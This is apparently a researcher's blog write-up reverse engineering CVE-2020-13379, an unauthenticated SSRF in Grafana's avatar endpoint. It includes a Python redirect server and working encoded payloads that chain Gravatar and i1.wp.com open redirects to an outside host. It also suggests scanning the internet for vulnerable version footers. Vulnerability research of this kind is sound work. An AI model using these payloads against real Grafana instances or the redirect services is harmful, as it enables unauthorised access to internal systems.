Intro
CVE-2020-13379 is a high risk vulnerability in Grafana, an analytics platform. A brief description from the the Grafana Website is as follows:
Grafana allows you to query, visualize, alert on and understand your metrics no matter where they are stored. Create, explore, and share dashboards with your team and foster a data driven culture.
https://grafana.com/grafana/
An unauthenticated SSRF vulnerability was found by Justin Gardner (@Rhynorater) in May 2020 – you can find his write-up here. It affects all versions of Grafana below 6.7.4 and 7.0.2 – the advisory is here.
One small detail with this vulnerability is that Grafana advertises the version to unauthenticated users, so it’s really easy to see if an application is vulnerable, so if you’re looking to do internet-wide (/bug-bounty-wide) to find vulnerable assets, just look to the page footer!
I decided to reverse engineer the patch for this bug to get some insight into Go code review and SSRF in general. Justin’s write-up gives a very complete breakdown of the issue but I wanted to add my own insight to explain the full process I went through, using Docker to create a local version of the application and explaining my thought process as I stumbled through this interesting bug.
Breakdown
So from doing a commit diff in git with the vulnerable code fix it’s immediately evident that the vulnerable code is the following:
// https://github.com/grafana/grafana/compare/v7.0.1...v7.0.2#diff-0c18ab614f8682d15545dd157d4f4e25
// pkg/api/avatar/avatar.go:53
/* Hotfix
var validMD5 = regexp.MustCompile("^[a-fA-F0-9]{32}$")
func (this *CacheServer) Handler(ctx *models.ReqContext) {
hash := ctx.Params("hash")
if len(hash) != 32 || !validMD5.MatchString(hash) {
ctx.JsonApiErr(404, "Avatar not found", nil)
return
}
*/
// Vulnerable Snippet:
func (this *CacheServer) Handler(ctx *macaron.Context) {
urlPath := ctx.Req.URL.Path
hash := urlPath[strings.LastIndex(urlPath, "/")+1:]
It seems like a simple SSRF issue. The URL path of the avatar cache would usually expect a hash, but in this case it is possible to change it to a URL. I’m going to get a docker container working of a Grafana instance with the vulnerable version to see if I can find the avatar cache functionality and write an exploit.
The cache library is gocache. The snippet this.cache.Get(hash)
looks interesting.
Commands used to create vulnerable docker instance for white box approach:
cd /var/lib
docker volume create grafana-storage
docker run -d -p 3000:3000 --name=grafana -v grafana-storage:/var/lib/grafana grafana/grafana:6.7.3
Then, to ‘ssh’ in as root:
# Get the container ID
docker ps
docker exec -u 0 -it (CONTAINERID) /bin/bash
It looks like this is the function where the server side request is made:
(line 62)
func (this *Avatar) Update() (err error) {
select {
case <-time.After(time.Second * 3):
err = fmt.Errorf("get gravatar image %s timeout", this.hash)
case err = <-thunder.GoFetch(gravatarSource+this.hash+"?"+this.reqParams, this):
}
return err
}
this = the avatar struct. Thunder is the module used to make a web request. So essentially, the requested URL is something like:
gravatarSource+this.hash+"?"+this.reqParams
gravatarSource is defined earlier as https://secure.gravatar.com/avatar/
So essentially, we have this:
https://secure.gravatar.com/avatar/{USER CONTROLLED}?
Well, great. It uses a gravatar URL. Now what? From my understanding, the only way to exploit this is with an open redirect on the secure.gravatar.com site.
A cursory Google for ‘grafana open redirect’ suggests this is possible with the ‘d’ parameter! This is a feature used for the ‘default’ image, and can be a URL that matches a few criterea. So I guess I can just add my own URL to the d parameter?
Okay, after a bit of digging I now have a pingback!
http://localhost:3000/avatar/1234%3fd%3dhttps%3a%252f%252f7emskwivw6xyffihd0i9ljvbz25utj.burpcollaborator.net%252fsavatar.png
The trick was to double URL encode the slashes. Pretty cool! But this pingback is coming from gravatar, not grafana. I need to get past the gravatar filter in the first case. I guess this means setting up a server to respond on the first request with specific headers such as content-type, and then on the second request give a 302 redirect.
http://localhost:3000/avatar/1234%3fd%3dhttps%3a%252f%252f7emskwivw6xyffihd0i9ljvbz25utj.burpcollaborator.net%252fsavatar.png
Okay so I’ve written the Python server to respond to anything from the Photon/1.0 user agent (Gravatar) with an image, and everything else with a 302:
#!/usr/local/bin/python3
# Web server to respond with different stuff depending on the request
# Requests with user agent Photon* respond to with a simple jpg image
# Anything else should be given a 302 redirect.
# Usage:
# python3 server_redirect.py [<port>] [<redirect>]
from http.server import BaseHTTPRequestHandler, HTTPServer
from http.client import parse_headers
import logging
class S(BaseHTTPRequestHandler):
def _set_response_img(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
# Need to have an image at /tmp/image.jpg
f = open('/tmp/image.jpg', 'rb')
image = f.read()
self.wfile.write(image)
f.close()
def load_binary(file):
with open(file, 'rb') as file:
return file.read()
def _set_response_redir(self):
self.send_response(302)
self.send_header('Location', argv[2])
#self.send_header('Location', 'https://rpk6h3k5thqmcte2vqxjkh4lgcm2ar.burpcollaborator.net')
self.end_headers()
def do_GET(self):
logging.info("GET request,\nPath: %s\nHeaders:\n%s\n", str(self.path), str(self.headers))
headers = str(self.headers)
for line in headers.split('\n'):
if 'User' in line or 'user' in line:
useragent = line.split(':')[1].strip()
if 'Photon' in useragent:
print('Request from gravatar')
self._set_response_img()
else:
print('Request not from gravatar')
self._set_response_redir()
self.wfile.write("GET request for {}".format(self.path).encode('utf-8'))
def do_POST(self):
content_length = int(self.headers['Content-Length']) # <--- Gets the size of data
post_data = self.rfile.read(content_length) # <--- Gets the data itself
logging.info("POST request,\nPath: %s\nHeaders:\n%s\n\nBody:\n%s\n",
str(self.path), str(self.headers), post_data.decode('utf-8'))
self._set_response()
self.wfile.write("POST request for {}".format(self.path).encode('utf-8'))
def run(server_class=HTTPServer, handler_class=S, port=8080):
logging.basicConfig(level=logging.INFO)
server_address = ('', port)
httpd = server_class(server_address, handler_class)
logging.info('Starting httpd...\n')
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
logging.info('Stopping httpd...\n')
if __name__ == '__main__':
from sys import argv
if len(argv) == 2:
run(port=int(argv[1]))
else:
run()
This doesn’t seem to be working – the filter doesn’t see that it is an okay page and then access it from the app, it responds with the image directly in the page. Hmm.
It goes from Grafana to i1.wp.com, which is used as a kind of cache / CDN. So anything passed through to Grafana’s ‘d’ is pushed through to i1.wp.com like this:
https://secure.gravatar.com/avatar/xyz?d=https%2F%2Fanydomain.com/validimage.jpg
...
https://i1.wp.com/anydomain.com/validimage.jpg
And the content is served from i1.wp.com. So I guess the question is whether there are any methods to get an immediate redirect from i1.wp.com, rather than just a re-displaying of the image?
After a fair bit of looking around, I’ve found an example of a full redirect from that i1.wp.com site to imgur
It looks like it will always redirect properly to imgur. Regardless of the subdomain, or if it returns a valid image. So I guess I need to find a webapp that is immediately redirected to from i1.wp.com with an open redirect or redirect functionality. Or find out if there’s a way to avoid ending up on i1.wp.com…
I’ve found what looks like the source code for Photon: http://code.svn.wordpress.org/photon/index.php
I’ve spent several hours looking for an open redirect or issue with i1.wp.com. No luck. I did run a fuzz with the top 10000 sites on alexa to see if any other domains are ‘redirectable’, and found bp.blogspot.com – this one seems to allow stuff prepended to the blogspot.com bit, which is interesting. So far I’ve found that the filter looks something like:
[a-z0-9\-\.]*\.bp\.blogspot.com/
I wonder if I can break that somehow? I tried creating a stupidly long get request to see if I could get the end cut off, but no luck. So it looks like my options are:
- Find an implementation error in Photon (it is open source)
- Find an implementation error in the imgur/blogspot redirects, which I have reason to believe are being handled by nginx
- Find an open redirect in imgur.com
- Find an open redirect in bp.blogspot.com
I can’t find any real way to get a 302 in the Photon source, and I’ve spent a fair bit of time looking at imgur for open redirects with no luck.
For reference, my methodology with looking for an open redirect with imgur was content enumeration (gobuster – raft-dir), and appending various common redirect/url parameters to different endpoints. When this didn’t work, I tried param miner with burp on some likely candidates (like logout, and some other weird behaviour), but no luck there.
bp.blogspot.com is a possiblity, as it allows arbitrary subdomains, but I don’t think I can control one of those subdomains easily. Also, with it being Google, I’m not sure how likely an open redirect is.
Which leaves implementation error in the redirects – I’ve already had a bit of a fuzz but I should do more work on it.
My methodology here is to use a wordlist of all URL encoded characters and run them against a single interesting character in the URL to see what happens, and if it breaks in an interesting way. Basically I’m looking for a 302 redirect with a different domain to *.bp.blogspot.com – and I’m focusing on that domain because it allows an extra wildcard subdomain, unlike imgur which seems to only allow i.imgur.com
After a fair bit of fuzzing, I identified that it is possible to add an arbitrary amount of forward slashes to the start, which get removed. URL encoding didn’t matter, as it seemed to exhibit the same behaviour with or without URL encoding (including on forward-slashes!). So this led to a lot of fuzzing with path normalisation payloads, like seeing what happens when I use /..//.. etc. in the URL. The issue here is that I couldn’t put anything inside the forward slashes at the start of the URL, so even if I could reference down it wouldn’t work.
Anyway, several more hours of frustration later, it turns out \/ is my best friend! The following payload redirects to my own domain:
GET /303sec.com\/bp.blogspot.com/
I guess that because the forward slash is ‘negated’ by the backslash somewhere along the stack (my money is on Nginx), it doesn’t seem to think of it as a forward slash. Really weird, but hey. This responds with the following:
HTTP/1.1 302 Moved Temporarily
Location: https://303sec.com\/bp.blogspot.com/
Which I feel should really, really work, but URL encoding comes into play. It looks like because there are so many redirects, we have to use double URL encoding to get the backslashes to go through. The following Gravatar URL works for the redirect to mydomain.com, so we just need to make this request through to Grafana:
https://secure.gravatar.com/avatar/1234?d=mydomain.com%25%35%63%25%32%66bp.blogspot.com/asdf.png
So now it’s just a matter of creating a suitably URL encoded payload. This is a breakdown of the ‘components’ of the payload, with how many redirects are required to get the URL encoding working.
0 1234
1 ?d=
2 https%3a%252f%252f7
0 mydomain.com
2 \/
0 bp.blogspot.com
1 /
0 asdf.png
1 ?f=y#
That last component is potentially unneccesary, so I’ll try without first.
1234%3fd%3dmydomain.com%255c%252fbp.blogspot.com%2fasdf.png
No luck. This was the original payload that worked:
1234%3fd%3dhttps%3a%252f%252f7emskwivw6xyffihd0i9ljvbz25utj.burpcollaborator.net%252fsavatar.png
Which definitely works, I just tried again. So that payload follows:
grafana -> gravatar -> w1 -> burp collaborator
1 – grafana
/avatar/1234%3fd%3dhttps%3a%252f%252fmydomain.com%255c%252fbp.blogspot.com%252fsnavatar.png
2 – gravatar
avatar/1234?d=https:%2f%2fmydomain.com%5c%2fbp.blogspot.com%2fsnavatar.png
3 – w1
/avatar/1234?d=https://mydomain.com\/bp.blogspot.com/snavatar.png
Request from client to grafana
/avatar/1234%3fd%3dmydomain.com%25255c%25252fbp.blogspot.com%25%32%66asdaf.png
Reqest from Grafana to W1
/avatar/1234?d=mydomain.com%255c%252fbp.blogspot.com/asdaf.png
Request from W1 to mydomain
/mydomain.com%5c%2fbp.blogspot.com/asdaf.png
So I’ve enabled debug logging on Grafana. This is the issue that I’m getting:
Get http://i0.wp.com/mydomain.com%5c%2fbp.blogspot.com/goaof.png: failed to parse Location header \"https://mydomain.com\\\\/bp.blogspot.com/goaof.png\": parse https://mydomain.com\\/bp.blogspot.com/goaof.png: invalid character \"\\\\\" in host name"
So I need to somehow get that backslash out of the i1 redirect’s host name. I guess the # character? So something like evil.com%252523%25252f%25255c%25252f
http://localhost:3000/avatar/1234%3fd%3dmydomain.com%252523%25252f%25255c%25252fbp.blogspot.com%252fgoaof.png
Yeah! This works! 😀
For reference, the open redirect issue can be exploited with the following:
https://i1.wp.com/example.com%23%5c%2fbp.blogspot.com/asdf.png
Another open redirect found by Justin, they guy that found the bug, utilizing ; to break the parser and ? to escape the rest of the URL
https://i1.wp.com/google.com%253f%253b%2fbp.blogspot.com/asdf.png